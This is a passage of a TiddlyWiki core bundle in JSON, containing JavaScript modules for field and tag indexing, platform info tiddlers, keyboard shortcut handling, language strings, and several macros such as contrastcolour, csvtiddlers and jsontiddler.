"text": "/*\\\ntitle: $:/core/modules/indexers/field-indexer.js\ntype: application/javascript\nmodule-type: indexer\n\nIndexes the tiddlers with each field value\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global modules: false */\n\"use strict\";\n\nvar DEFAULT_MAXIMUM_INDEXED_VALUE_LENGTH = 128;\n\nfunction FieldIndexer(wiki) {\n\tthis.wiki = wiki;\n}\n\nFieldIndexer.prototype.init = function() {\n\tthis.index = null;\n\tthis.maxIndexedValueLength = DEFAULT_MAXIMUM_INDEXED_VALUE_LENGTH;\n\tthis.addIndexMethods();\n}\n\n// Provided for testing\nFieldIndexer.prototype.setMaxIndexedValueLength = function(length) {\n\tthis.index = null;\n\tthis.maxIndexedValueLength = length;\n};\n\nFieldIndexer.prototype.addIndexMethods = function() {\n\tvar self = this;\n\tthis.wiki.each.byField = function(name,value) {\n\t\tvar titles = self.wiki.allTitles(),\n\t\t\tlookup = self.lookup(name,value);\n\t\treturn lookup && lookup.filter(function(title) {\n\t\t\treturn titles.indexOf(title) !== -1;\n\t\t});\n\t};\n\tthis.wiki.eachShadow.byField = function(name,value) {\n\t\tvar titles = self.wiki.allShadowTitles(),\n\t\t\tlookup = self.lookup(name,value);\n\t\treturn lookup && lookup.filter(function(title) {\n\t\t\treturn titles.indexOf(title) !== -1;\n\t\t});\n\t};\n\tthis.wiki.eachTiddlerPlusShadows.byField = function(name,value) {\n\t\tvar lookup = self.lookup(name,value);\n\t\treturn lookup ? lookup.slice(0) : null;\n\t};\n\tthis.wiki.eachShadowPlusTiddlers.byField = function(name,value) {\n\t\tvar lookup = self.lookup(name,value);\n\t\treturn lookup ? lookup.slice(0) : null;\n\t};\n};\n\n/*\nTear down and then rebuild the index as if all tiddlers have changed\n*/\nFieldIndexer.prototype.rebuild = function() {\n\t// Invalidate the index so that it will be rebuilt when it is next used\n\tthis.index = null;\n};\n\n/*\nBuild the index for a particular field\n*/\nFieldIndexer.prototype.buildIndexForField = function(name) {\n\tvar self = this;\n\t// Hashmap by field name of hashmap by field value of array of tiddler titles\n\tthis.index = this.index || Object.create(null);\n\tthis.index[name] = Object.create(null);\n\tvar baseIndex = this.index[name];\n\t// Update the index for each tiddler\n\tthis.wiki.eachTiddlerPlusShadows(function(tiddler,title) {\n\t\tif(name in tiddler.fields) {\n\t\t\tvar value = tiddler.getFieldString(name);\n\t\t\t// Skip any values above the maximum length\n\t\t\tif(value.length < self.maxIndexedValueLength) {\n\t\t\t\tbaseIndex[value] = baseIndex[value] || [];\n\t\t\t\tbaseIndex[value].push(title);\n\t\t\t}\n\t\t}\n\t});\n};\n\n/*\nUpdate the index in the light of a tiddler value changing; note that the title must be identical. (Renames are handled as a separate delete and create)\nupdateDescriptor: {old: {tiddler: <tiddler>, shadow: <boolean>, exists: <boolean>},new: {tiddler: <tiddler>, shadow: <boolean>, exists: <boolean>}}\n*/\nFieldIndexer.prototype.update = function(updateDescriptor) {\n\tvar self = this;\n\t// Don't do anything if the index hasn't been built yet\n\tif(this.index === null) {\n\t\treturn;\n\t}\n\t// Remove the old tiddler from the index\n\tif(updateDescriptor.old.tiddler) {\n\t\t$tw.utils.each(this.index,function(indexEntry,name) {\n\t\t\tif(name in updateDescriptor.old.tiddler.fields) {\n\t\t\t\tvar value = updateDescriptor.old.tiddler.getFieldString(name),\n\t\t\t\t\ttiddlerList = indexEntry[value];\n\t\t\t\tif(tiddlerList) {\n\t\t\t\t\tvar index = tiddlerList.indexOf(updateDescriptor.old.tiddler.fields.title);\n\t\t\t\t\tif(index !== -1) {\n\t\t\t\t\t\ttiddlerList.splice(index,1);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n\t// Add the new tiddler to the index\n\tif(updateDescriptor[\"new\"].tiddler) {\n\t\t$tw.utils.each(this.index,function(indexEntry,name) {\n\t\t\tif(name in updateDescriptor[\"new\"].tiddler.fields) {\n\t\t\t\tvar value = updateDescriptor[\"new\"].tiddler.getFieldString(name);\n\t\t\t\tif(value.length < self.maxIndexedValueLength) {\n\t\t\t\t\tindexEntry[value] = indexEntry[value] || [];\n\t\t\t\t\tindexEntry[value].push(updateDescriptor[\"new\"].tiddler.fields.title);\n\t\t\t\t}\n\t\t\t}\n\t\t});\t\t\n\t}\n};\n\n// Lookup the given field returning a list of tiddler titles\nFieldIndexer.prototype.lookup = function(name,value) {\n\t// Fail the lookup if the value is too long\n\tif(value.length >= this.maxIndexedValueLength) {\n\t\treturn null;\n\t}\n\t// Update the index if it has yet to be built\n\tif(this.index === null || !this.index[name]) {\n\t\tthis.buildIndexForField(name);\n\t}\n\treturn this.index[name][value] || [];\n};\n\nexports.FieldIndexer = FieldIndexer;\n\n})();\n",
"type": "application/javascript",
"module-type": "indexer"
},
"$:/core/modules/indexers/tag-indexer.js": {
"title": "$:/core/modules/indexers/tag-indexer.js",
"text": "/*\\\ntitle: $:/core/modules/indexers/tag-indexer.js\ntype: application/javascript\nmodule-type: indexer\n\nIndexes the tiddlers with each tag\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global modules: false */\n\"use strict\";\n\nfunction TagIndexer(wiki) {\n\tthis.wiki = wiki;\n}\n\nTagIndexer.prototype.init = function() {\n\tthis.subIndexers = [\n\t\tnew TagSubIndexer(this,\"each\"),\n\t\tnew TagSubIndexer(this,\"eachShadow\"),\n\t\tnew TagSubIndexer(this,\"eachTiddlerPlusShadows\"),\n\t\tnew TagSubIndexer(this,\"eachShadowPlusTiddlers\")\n\t];\n\t$tw.utils.each(this.subIndexers,function(subIndexer) {\n\t\tsubIndexer.addIndexMethod();\n\t});\n};\n\nTagIndexer.prototype.rebuild = function() {\n\t$tw.utils.each(this.subIndexers,function(subIndexer) {\n\t\tsubIndexer.rebuild();\n\t});\n};\n\nTagIndexer.prototype.update = function(updateDescriptor) {\n\t$tw.utils.each(this.subIndexers,function(subIndexer) {\n\t\tsubIndexer.update(updateDescriptor);\n\t});\n};\n\nfunction TagSubIndexer(indexer,iteratorMethod) {\n\tthis.indexer = indexer;\n\tthis.iteratorMethod = iteratorMethod;\n\tthis.index = null; // Hashmap of tag title to {isSorted: bool, titles: [array]} or null if not yet initialised\n}\n\nTagSubIndexer.prototype.addIndexMethod = function() {\n\tvar self = this;\n\tthis.indexer.wiki[this.iteratorMethod].byTag = function(tag) {\n\t\treturn self.lookup(tag).slice(0);\n\t};\n};\n\nTagSubIndexer.prototype.rebuild = function() {\n\tvar self = this;\n\t// Hashmap by tag of array of {isSorted:, titles:[]}\n\tthis.index = Object.create(null);\n\t// Add all the tags\n\tthis.indexer.wiki[this.iteratorMethod](function(tiddler,title) {\n\t\t$tw.utils.each(tiddler.fields.tags,function(tag) {\n\t\t\tif(!self.index[tag]) {\n\t\t\t\tself.index[tag] = {isSorted: false, titles: [title]};\n\t\t\t} else {\n\t\t\t\tself.index[tag].titles.push(title);\n\t\t\t}\n\t\t});\t\t\n\t});\n};\n\nTagSubIndexer.prototype.update = function(updateDescriptor) {\n\tthis.index = null;\n};\n\nTagSubIndexer.prototype.lookup = function(tag) {\n\t// Update the index if it has yet to be built\n\tif(this.index === null) {\n\t\tthis.rebuild();\n\t}\n\tvar indexRecord = this.index[tag];\n\tif(indexRecord) {\n\t\tif(!indexRecord.isSorted) {\n\t\t\tif(this.indexer.wiki.sortByList) {\n\t\t\t\tindexRecord.titles = this.indexer.wiki.sortByList(indexRecord.titles,tag);\n\t\t\t}\t\t\t\n\t\t\tindexRecord.isSorted = true;\n\t\t}\n\t\treturn indexRecord.titles;\n\t} else {\n\t\treturn [];\n\t}\n};\n\n\nexports.TagIndexer = TagIndexer;\n\n})();\n",
"type": "application/javascript",
"module-type": "indexer"
},
"$:/core/modules/info/platform.js": {
"title": "$:/core/modules/info/platform.js",
"text": "/*\\\ntitle: $:/core/modules/info/platform.js\ntype: application/javascript\nmodule-type: info\n\nInitialise basic platform $:/info/ tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.getInfoTiddlerFields = function() {\n\tvar mapBoolean = function(value) {return value ? \"yes\" : \"no\";},\n\t\tinfoTiddlerFields = [];\n\t// Basics\n\tinfoTiddlerFields.push({title: \"$:/info/browser\", text: mapBoolean(!!$tw.browser)});\n\tinfoTiddlerFields.push({title: \"$:/info/node\", text: mapBoolean(!!$tw.node)});\n\tif($tw.browser) {\n\t\t// Document location\n\t\tvar setLocationProperty = function(name,value) {\n\t\t\t\tinfoTiddlerFields.push({title: \"$:/info/url/\" + name, text: value});\t\t\t\n\t\t\t},\n\t\t\tlocation = document.location;\n\t\tsetLocationProperty(\"full\", (location.toString()).split(\"#\")[0]);\n\t\tsetLocationProperty(\"host\", location.host);\n\t\tsetLocationProperty(\"hostname\", location.hostname);\n\t\tsetLocationProperty(\"protocol\", location.protocol);\n\t\tsetLocationProperty(\"port\", location.port);\n\t\tsetLocationProperty(\"pathname\", location.pathname);\n\t\tsetLocationProperty(\"search\", location.search);\n\t\tsetLocationProperty(\"origin\", location.origin);\n\t\t// Screen size\n\t\tinfoTiddlerFields.push({title: \"$:/info/browser/screen/width\", text: window.screen.width.toString()});\n\t\tinfoTiddlerFields.push({title: \"$:/info/browser/screen/height\", text: window.screen.height.toString()});\n\t\t// Language\n\t\tinfoTiddlerFields.push({title: \"$:/info/browser/language\", text: navigator.language || \"\"});\n\t}\n\treturn infoTiddlerFields;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "info"
},
"$:/core/modules/keyboard.js": {
"title": "$:/core/modules/keyboard.js",
"text": "/*\\\ntitle: $:/core/modules/keyboard.js\ntype: application/javascript\nmodule-type: global\n\nKeyboard handling utilities\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar namedKeys = {\n\t\"cancel\": 3,\n\t\"help\": 6,\n\t\"backspace\": 8,\n\t\"tab\": 9,\n\t\"clear\": 12,\n\t\"return\": 13,\n\t\"enter\": 13,\n\t\"pause\": 19,\n\t\"escape\": 27,\n\t\"space\": 32,\n\t\"page_up\": 33,\n\t\"page_down\": 34,\n\t\"end\": 35,\n\t\"home\": 36,\n\t\"left\": 37,\n\t\"up\": 38,\n\t\"right\": 39,\n\t\"down\": 40,\n\t\"printscreen\": 44,\n\t\"insert\": 45,\n\t\"delete\": 46,\n\t\"0\": 48,\n\t\"1\": 49,\n\t\"2\": 50,\n\t\"3\": 51,\n\t\"4\": 52,\n\t\"5\": 53,\n\t\"6\": 54,\n\t\"7\": 55,\n\t\"8\": 56,\n\t\"9\": 57,\n\t\"firefoxsemicolon\": 59,\n\t\"firefoxequals\": 61,\n\t\"a\": 65,\n\t\"b\": 66,\n\t\"c\": 67,\n\t\"d\": 68,\n\t\"e\": 69,\n\t\"f\": 70,\n\t\"g\": 71,\n\t\"h\": 72,\n\t\"i\": 73,\n\t\"j\": 74,\n\t\"k\": 75,\n\t\"l\": 76,\n\t\"m\": 77,\n\t\"n\": 78,\n\t\"o\": 79,\n\t\"p\": 80,\n\t\"q\": 81,\n\t\"r\": 82,\n\t\"s\": 83,\n\t\"t\": 84,\n\t\"u\": 85,\n\t\"v\": 86,\n\t\"w\": 87,\n\t\"x\": 88,\n\t\"y\": 89,\n\t\"z\": 90,\n\t\"numpad0\": 96,\n\t\"numpad1\": 97,\n\t\"numpad2\": 98,\n\t\"numpad3\": 99,\n\t\"numpad4\": 100,\n\t\"numpad5\": 101,\n\t\"numpad6\": 102,\n\t\"numpad7\": 103,\n\t\"numpad8\": 104,\n\t\"numpad9\": 105,\n\t\"multiply\": 106,\n\t\"add\": 107,\n\t\"separator\": 108,\n\t\"subtract\": 109,\n\t\"decimal\": 110,\n\t\"divide\": 111,\n\t\"f1\": 112,\n\t\"f2\": 113,\n\t\"f3\": 114,\n\t\"f4\": 115,\n\t\"f5\": 116,\n\t\"f6\": 117,\n\t\"f7\": 118,\n\t\"f8\": 119,\n\t\"f9\": 120,\n\t\"f10\": 121,\n\t\"f11\": 122,\n\t\"f12\": 123,\n\t\"f13\": 124,\n\t\"f14\": 125,\n\t\"f15\": 126,\n\t\"f16\": 127,\n\t\"f17\": 128,\n\t\"f18\": 129,\n\t\"f19\": 130,\n\t\"f20\": 131,\n\t\"f21\": 132,\n\t\"f22\": 133,\n\t\"f23\": 134,\n\t\"f24\": 135,\n\t\"firefoxminus\": 173,\n\t\"semicolon\": 186,\n\t\"equals\": 187,\n\t\"comma\": 188,\n\t\"dash\": 189,\n\t\"period\": 190,\n\t\"slash\": 191,\n\t\"backquote\": 192,\n\t\"openbracket\": 219,\n\t\"backslash\": 220,\n\t\"closebracket\": 221,\n\t\"quote\": 222\n};\n\nfunction KeyboardManager(options) {\n\tvar self = this;\n\toptions = options || \"\";\n\t// Save the named key hashmap\n\tthis.namedKeys = namedKeys;\n\t// Create a reverse mapping of code to keyname\n\tthis.keyNames = [];\n\t$tw.utils.each(namedKeys,function(keyCode,name) {\n\t\tself.keyNames[keyCode] = name.substr(0,1).toUpperCase() + name.substr(1);\n\t});\n\t// Save the platform-specific name of the \"meta\" key\n\tthis.metaKeyName = $tw.platform.isMac ? \"cmd-\" : \"win-\";\n\tthis.shortcutKeysList = [], // Stores the shortcut-key descriptors\n\tthis.shortcutActionList = [], // Stores the corresponding action strings\n\tthis.shortcutParsedList = []; // Stores the parsed key descriptors\n\tthis.lookupNames = [\"shortcuts\"];\n\tthis.lookupNames.push($tw.platform.isMac ? \"shortcuts-mac\" : \"shortcuts-not-mac\")\n\tthis.lookupNames.push($tw.platform.isWindows ? \"shortcuts-windows\" : \"shortcuts-not-windows\");\n\tthis.lookupNames.push($tw.platform.isLinux ? \"shortcuts-linux\" : \"shortcuts-not-linux\");\n\tthis.updateShortcutLists(this.getShortcutTiddlerList());\n\t$tw.wiki.addEventListener(\"change\",function(changes) {\n\t\tself.handleShortcutChanges(changes);\n\t});\n}\n\n/*\nReturn an array of keycodes for the modifier keys ctrl, shift, alt, meta\n*/\nKeyboardManager.prototype.getModifierKeys = function() {\n\treturn [\n\t\t16, // Shift\n\t\t17, // Ctrl\n\t\t18, // Alt\n\t\t20, // CAPS LOCK\n\t\t91, // Meta (left)\n\t\t93, // Meta (right)\n\t\t224 // Meta (Firefox)\n\t]\n};\n\n/*\nParses a key descriptor into the structure:\n{\n\tkeyCode: numeric keycode\n\tshiftKey: boolean\n\taltKey: boolean\n\tctrlKey: boolean\n\tmetaKey: boolean\n}\nKey descriptors have the following format:\n\tctrl+enter\n\tctrl+shift+alt+A\n*/\nKeyboardManager.prototype.parseKeyDescriptor = function(keyDescriptor) {\n\tvar components = keyDescriptor.split(/\\+|\\-/),\n\t\tinfo = {\n\t\t\tkeyCode: 0,\n\t\t\tshiftKey: false,\n\t\t\taltKey: false,\n\t\t\tctrlKey: false,\n\t\t\tmetaKey: false\n\t\t};\n\tfor(var t=0; t<components.length; t++) {\n\t\tvar s = components[t].toLowerCase(),\n\t\t\tc = s.charCodeAt(0);\n\t\t// Look for modifier keys\n\t\tif(s === \"ctrl\") {\n\t\t\tinfo.ctrlKey = true;\n\t\t} else if(s === \"shift\") {\n\t\t\tinfo.shiftKey = true;\n\t\t} else if(s === \"alt\") {\n\t\t\tinfo.altKey = true;\n\t\t} else if(s === \"meta\" || s === \"cmd\" || s === \"win\") {\n\t\t\tinfo.metaKey = true;\n\t\t}\n\t\t// Replace named keys with their code\n\t\tif(this.namedKeys[s]) {\n\t\t\tinfo.keyCode = this.namedKeys[s];\n\t\t}\n\t}\n\tif(info.keyCode) {\n\t\treturn info;\n\t} else {\n\t\treturn null;\n\t}\n};\n\n/*\nParse a list of key descriptors into an array of keyInfo objects. The key descriptors can be passed as an array of strings or a space separated string\n*/\nKeyboardManager.prototype.parseKeyDescriptors = function(keyDescriptors,options) {\n\tvar self = this;\n\toptions = options || {};\n\toptions.stack = options.stack || [];\n\tvar wiki = options.wiki || $tw.wiki;\n\tif(typeof keyDescriptors === \"string\" && keyDescriptors === \"\") {\n\t\treturn [];\n\t}\n\tif(!$tw.utils.isArray(keyDescriptors)) {\n\t\tkeyDescriptors = keyDescriptors.split(\" \");\n\t}\n\tvar result = [];\n\t$tw.utils.each(keyDescriptors,function(keyDescriptor) {\n\t\t// Look for a named shortcut\n\t\tif(keyDescriptor.substr(0,2) === \"((\" && keyDescriptor.substr(-2,2) === \"))\") {\n\t\t\tif(options.stack.indexOf(keyDescriptor) === -1) {\n\t\t\t\toptions.stack.push(keyDescriptor);\n\t\t\t\tvar name = keyDescriptor.substring(2,keyDescriptor.length - 2),\n\t\t\t\t\tlookupName = function(configName) {\n\t\t\t\t\t\tvar keyDescriptors = wiki.getTiddlerText(\"$:/config/\" + configName + \"/\" + name);\n\t\t\t\t\t\tif(keyDescriptors) {\n\t\t\t\t\t\t\tresult.push.apply(result,self.parseKeyDescriptors(keyDescriptors,options));\n\t\t\t\t\t\t}\n\t\t\t\t\t};\n\t\t\t\t$tw.utils.each(self.lookupNames,function(platformDescriptor) {\n\t\t\t\t\tlookupName(platformDescriptor);\n\t\t\t\t});\n\t\t\t}\n\t\t} else {\n\t\t\tresult.push(self.parseKeyDescriptor(keyDescriptor));\n\t\t}\n\t});\n\treturn result;\n};\n\nKeyboardManager.prototype.getPrintableShortcuts = function(keyInfoArray) {\n\tvar self = this,\n\t\tresult = [];\n\t$tw.utils.each(keyInfoArray,function(keyInfo) {\n\t\tif(keyInfo) {\n\t\t\tresult.push((keyInfo.ctrlKey ? \"ctrl-\" : \"\") + \n\t\t\t\t (keyInfo.shiftKey ? \"shift-\" : \"\") + \n\t\t\t\t (keyInfo.altKey ? \"alt-\" : \"\") + \n\t\t\t\t (keyInfo.metaKey ? self.metaKeyName : \"\") + \n\t\t\t\t (self.keyNames[keyInfo.keyCode]));\n\t\t}\n\t});\n\treturn result;\n}\n\nKeyboardManager.prototype.checkKeyDescriptor = function(event,keyInfo) {\n\treturn keyInfo &&\n\t\t\tevent.keyCode === keyInfo.keyCode && \n\t\t\tevent.shiftKey === keyInfo.shiftKey && \n\t\t\tevent.altKey === keyInfo.altKey && \n\t\t\tevent.ctrlKey === keyInfo.ctrlKey && \n\t\t\tevent.metaKey === keyInfo.metaKey;\n};\n\nKeyboardManager.prototype.checkKeyDescriptors = function(event,keyInfoArray) {\n\tfor(var t=0; t<keyInfoArray.length; t++) {\n\t\tif(this.checkKeyDescriptor(event,keyInfoArray[t])) {\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n};\n\nKeyboardManager.prototype.getShortcutTiddlerList = function() {\n\treturn $tw.wiki.getTiddlersWithTag(\"$:/tags/KeyboardShortcut\");\n};\n\nKeyboardManager.prototype.updateShortcutLists = function(tiddlerList) {\n\tthis.shortcutTiddlers = tiddlerList;\n\tfor(var i=0; i<tiddlerList.length; i++) {\n\t\tvar title = tiddlerList[i],\n\t\t\ttiddlerFields = $tw.wiki.getTiddler(title).fields;\n\t\tthis.shortcutKeysList[i] = tiddlerFields.key !== undefined ? tiddlerFields.key : undefined;\n\t\tthis.shortcutActionList[i] = tiddlerFields.text;\n\t\tthis.shortcutParsedList[i] = this.shortcutKeysList[i] !== undefined ? this.parseKeyDescriptors(this.shortcutKeysList[i]) : undefined;\n\t}\n};\n\nKeyboardManager.prototype.handleKeydownEvent = function(event) {\n\tvar key, action;\n\tfor(var i=0; i<this.shortcutTiddlers.length; i++) {\n\t\tif(this.shortcutParsedList[i] !== undefined && this.checkKeyDescriptors(event,this.shortcutParsedList[i])) {\n\t\t\tkey = this.shortcutParsedList[i];\n\t\t\taction = this.shortcutActionList[i];\n\t\t}\n\t}\n\tif(key !== undefined) {\n\t\tevent.preventDefault();\n\t\tevent.stopPropagation();\n\t\t$tw.rootWidget.invokeActionString(action,$tw.rootWidget);\n\t\treturn true;\n\t}\n\treturn false;\n};\n\nKeyboardManager.prototype.detectNewShortcuts = function(changedTiddlers) {\n\tvar shortcutConfigTiddlers = [],\n\t\thandled = false;\n\t$tw.utils.each(this.lookupNames,function(platformDescriptor) {\n\t\tvar descriptorString = \"$:/config/\" + platformDescriptor + \"/\";\n\t\tObject.keys(changedTiddlers).forEach(function(configTiddler) {\n\t\t\tvar configString = configTiddler.substr(0, configTiddler.lastIndexOf(\"/\") + 1);\n\t\t\tif(configString === descriptorString) {\n\t\t\t\tshortcutConfigTiddlers.push(configTiddler);\n\t\t\t\thandled = true;\n\t\t\t}\n\t\t});\n\t});\n\tif(handled) {\n\t\treturn $tw.utils.hopArray(changedTiddlers,shortcutConfigTiddlers);\n\t} else {\n\t\treturn false;\n\t}\n};\n\nKeyboardManager.prototype.handleShortcutChanges = function(changedTiddlers) {\n\tvar newList = this.getShortcutTiddlerList();\n\tvar hasChanged = $tw.utils.hopArray(changedTiddlers,this.shortcutTiddlers) ? true :\n\t\t($tw.utils.hopArray(changedTiddlers,newList) ? true :\n\t\t(this.detectNewShortcuts(changedTiddlers))\n\t);\n\t// Re-cache shortcuts if something changed\n\tif(hasChanged) {\n\t\tthis.updateShortcutLists(newList);\n\t}\n};\n\nexports.KeyboardManager = KeyboardManager;\n\n})();\n",
"type": "application/javascript",
"module-type": "global"
},
"$:/core/modules/language.js": {
"title": "$:/core/modules/language.js",
"text": "/*\\\ntitle: $:/core/modules/language.js\ntype: application/javascript\nmodule-type: global\n\nThe $tw.Language() manages translateable strings\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nCreate an instance of the language manager. Options include:\nwiki: wiki from which to retrieve translation tiddlers\n*/\nfunction Language(options) {\n\toptions = options || \"\";\n\tthis.wiki = options.wiki || $tw.wiki;\n}\n\n/*\nReturn a wikified translateable string. The title is automatically prefixed with \"$:/language/\"\nOptions include:\nvariables: optional hashmap of variables to supply to the language wikification\n*/\nLanguage.prototype.getString = function(title,options) {\n\toptions = options || {};\n\ttitle = \"$:/language/\" + title;\n\treturn this.wiki.renderTiddler(\"text/plain\",title,{variables: options.variables});\n};\n\n/*\nReturn a raw, unwikified translateable string. The title is automatically prefixed with \"$:/language/\"\n*/\nLanguage.prototype.getRawString = function(title) {\n\ttitle = \"$:/language/\" + title;\n\treturn this.wiki.getTiddlerText(title);\n};\n\nexports.Language = Language;\n\n})();\n",
"type": "application/javascript",
"module-type": "global"
},
"$:/core/modules/macros/changecount.js": {
"title": "$:/core/modules/macros/changecount.js",
"text": "/*\\\ntitle: $:/core/modules/macros/changecount.js\ntype: application/javascript\nmodule-type: macro\n\nMacro to return the changecount for the current tiddler\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInformation about this macro\n*/\n\nexports.name = \"changecount\";\n\nexports.params = [];\n\n/*\nRun the macro\n*/\nexports.run = function() {\n\treturn this.wiki.getChangeCount(this.getVariable(\"currentTiddler\")) + \"\";\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "macro"
},
"$:/core/modules/macros/contrastcolour.js": {
"title": "$:/core/modules/macros/contrastcolour.js",
"text": "/*\\\ntitle: $:/core/modules/macros/contrastcolour.js\ntype: application/javascript\nmodule-type: macro\n\nMacro to choose which of two colours has the highest contrast with a base colour\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInformation about this macro\n*/\n\nexports.name = \"contrastcolour\";\n\nexports.params = [\n\t{name: \"target\"},\n\t{name: \"fallbackTarget\"},\n\t{name: \"colourA\"},\n\t{name: \"colourB\"}\n];\n\n/*\nRun the macro\n*/\nexports.run = function(target,fallbackTarget,colourA,colourB) {\n\tvar rgbTarget = $tw.utils.parseCSSColor(target) || $tw.utils.parseCSSColor(fallbackTarget);\n\tif(!rgbTarget) {\n\t\treturn colourA;\n\t}\n\tvar rgbColourA = $tw.utils.parseCSSColor(colourA),\n\t\trgbColourB = $tw.utils.parseCSSColor(colourB);\n\tif(rgbColourA && !rgbColourB) {\n\t\treturn rgbColourA;\n\t}\n\tif(rgbColourB && !rgbColourA) {\n\t\treturn rgbColourB;\n\t}\n\tif(!rgbColourA && !rgbColourB) {\n\t\t// If neither colour is readable, return a crude inverse of the target\n\t\treturn [255 - rgbTarget[0],255 - rgbTarget[1],255 - rgbTarget[2],rgbTarget[3]];\n\t}\n\t// Colour brightness formula derived from http://www.w3.org/WAI/ER/WD-AERT/#color-contrast\n\tvar brightnessTarget = rgbTarget[0] * 0.299 + rgbTarget[1] * 0.587 + rgbTarget[2] * 0.114,\n\t\tbrightnessA = rgbColourA[0] * 0.299 + rgbColourA[1] * 0.587 + rgbColourA[2] * 0.114,\n\t\tbrightnessB = rgbColourB[0] * 0.299 + rgbColourB[1] * 0.587 + rgbColourB[2] * 0.114;\n\treturn Math.abs(brightnessTarget - brightnessA) > Math.abs(brightnessTarget - brightnessB) ? colourA : colourB;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "macro"
},
"$:/core/modules/macros/csvtiddlers.js": {
"title": "$:/core/modules/macros/csvtiddlers.js",
"text": "/*\\\ntitle: $:/core/modules/macros/csvtiddlers.js\ntype: application/javascript\nmodule-type: macro\n\nMacro to output tiddlers matching a filter to CSV\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInformation about this macro\n*/\n\nexports.name = \"csvtiddlers\";\n\nexports.params = [\n\t{name: \"filter\"},\n\t{name: \"format\"},\n];\n\n/*\nRun the macro\n*/\nexports.run = function(filter,format) {\n\tvar self = this,\n\t\ttiddlers = this.wiki.filterTiddlers(filter),\n\t\ttiddler,\n\t\tfields = [],\n\t\tt,f;\n\t// Collect all the fields\n\tfor(t=0;t<tiddlers.length; t++) {\n\t\ttiddler = this.wiki.getTiddler(tiddlers[t]);\n\t\tfor(f in tiddler.fields) {\n\t\t\tif(fields.indexOf(f) === -1) {\n\t\t\t\tfields.push(f);\n\t\t\t}\n\t\t}\n\t}\n\t// Sort the fields and bring the standard ones to the front\n\tfields.sort();\n\t\"title text modified modifier created creator\".split(\" \").reverse().forEach(function(value,index) {\n\t\tvar p = fields.indexOf(value);\n\t\tif(p !== -1) {\n\t\t\tfields.splice(p,1);\n\t\t\tfields.unshift(value)\n\t\t}\n\t});\n\t// Output the column headings\n\tvar output = [], row = [];\n\tfields.forEach(function(value) {\n\t\trow.push(quoteAndEscape(value))\n\t});\n\toutput.push(row.join(\",\"));\n\t// Output each tiddler\n\tfor(var t=0;t<tiddlers.length; t++) {\n\t\trow = [];\n\t\ttiddler = this.wiki.getTiddler(tiddlers[t]);\n\t\t\tfor(f=0; f<fields.length; f++) {\n\t\t\t\trow.push(quoteAndEscape(tiddler ? tiddler.getFieldString(fields[f]) || \"\" : \"\"));\n\t\t\t}\n\t\toutput.push(row.join(\",\"));\n\t}\n\treturn output.join(\"\\n\");\n};\n\nfunction quoteAndEscape(value) {\n\treturn \"\\\"\" + value.replace(/\"/mg,\"\\\"\\\"\") + \"\\\"\";\n}\n\n})();\n",
"type": "application/javascript",
"module-type": "macro"
},
"$:/core/modules/macros/displayshortcuts.js": {
"title": "$:/core/modules/macros/displayshortcuts.js",
"text": "/*\\\ntitle: $:/core/modules/macros/displayshortcuts.js\ntype: application/javascript\nmodule-type: macro\n\nMacro to display a list of keyboard shortcuts in human readable form. Notably, it resolves named shortcuts like `((bold))` to the underlying keystrokes.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInformation about this macro\n*/\n\nexports.name = \"displayshortcuts\";\n\nexports.params = [\n\t{name: \"shortcuts\"},\n\t{name: \"prefix\"},\n\t{name: \"separator\"},\n\t{name: \"suffix\"}\n];\n\n/*\nRun the macro\n*/\nexports.run = function(shortcuts,prefix,separator,suffix) {\n\tvar shortcutArray = $tw.keyboardManager.getPrintableShortcuts($tw.keyboardManager.parseKeyDescriptors(shortcuts,{\n\t\twiki: this.wiki\n\t}));\n\tif(shortcutArray.length > 0) {\n\t\tshortcutArray.sort(function(a,b) {\n\t\t return a.toLowerCase().localeCompare(b.toLowerCase());\n\t\t})\n\t\treturn prefix + shortcutArray.join(separator) + suffix;\n\t} else {\n\t\treturn \"\";\n\t}\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "macro"
},
"$:/core/modules/macros/jsontiddler.js": {
"title": "$:/core/modules/macros/jsontiddler.js",
"text": "/*\\\ntitle: $:/core/modules/macros/jsontiddler.js\ntype: application/javascript\nmodule-type: macro\n\nMacro to output a single tiddler to JSON\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInformation about this macro\n*/\n\nexports.name = \"jsontiddler\";\n\nexports.params = [\n\t{name: \"title\"}\n];\n\n/*\nRun the macro\n*/\nexports.run = function(title) {\n\ttitle = title || this.getVariable(\"currentTiddler\");\n\tvar tiddler = !!title && this.wiki.getTiddler(title),\n\t\tfields = new Object();\n\tif(tiddler) {\n\t\tfor(var field in tiddler.fields) {\n\t\t\tfields[field] = tiddler.getFieldString(field);\n\t\t}\n\t}\n\treturn JSON.stringify(fields,null,$tw.config.preferences.jsonSpaces);\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "macro"
},
"$:/core/modules/macros/jsontiddlers.js": {
"title": "$:/core/modules/macros/jsontiddlers.js",
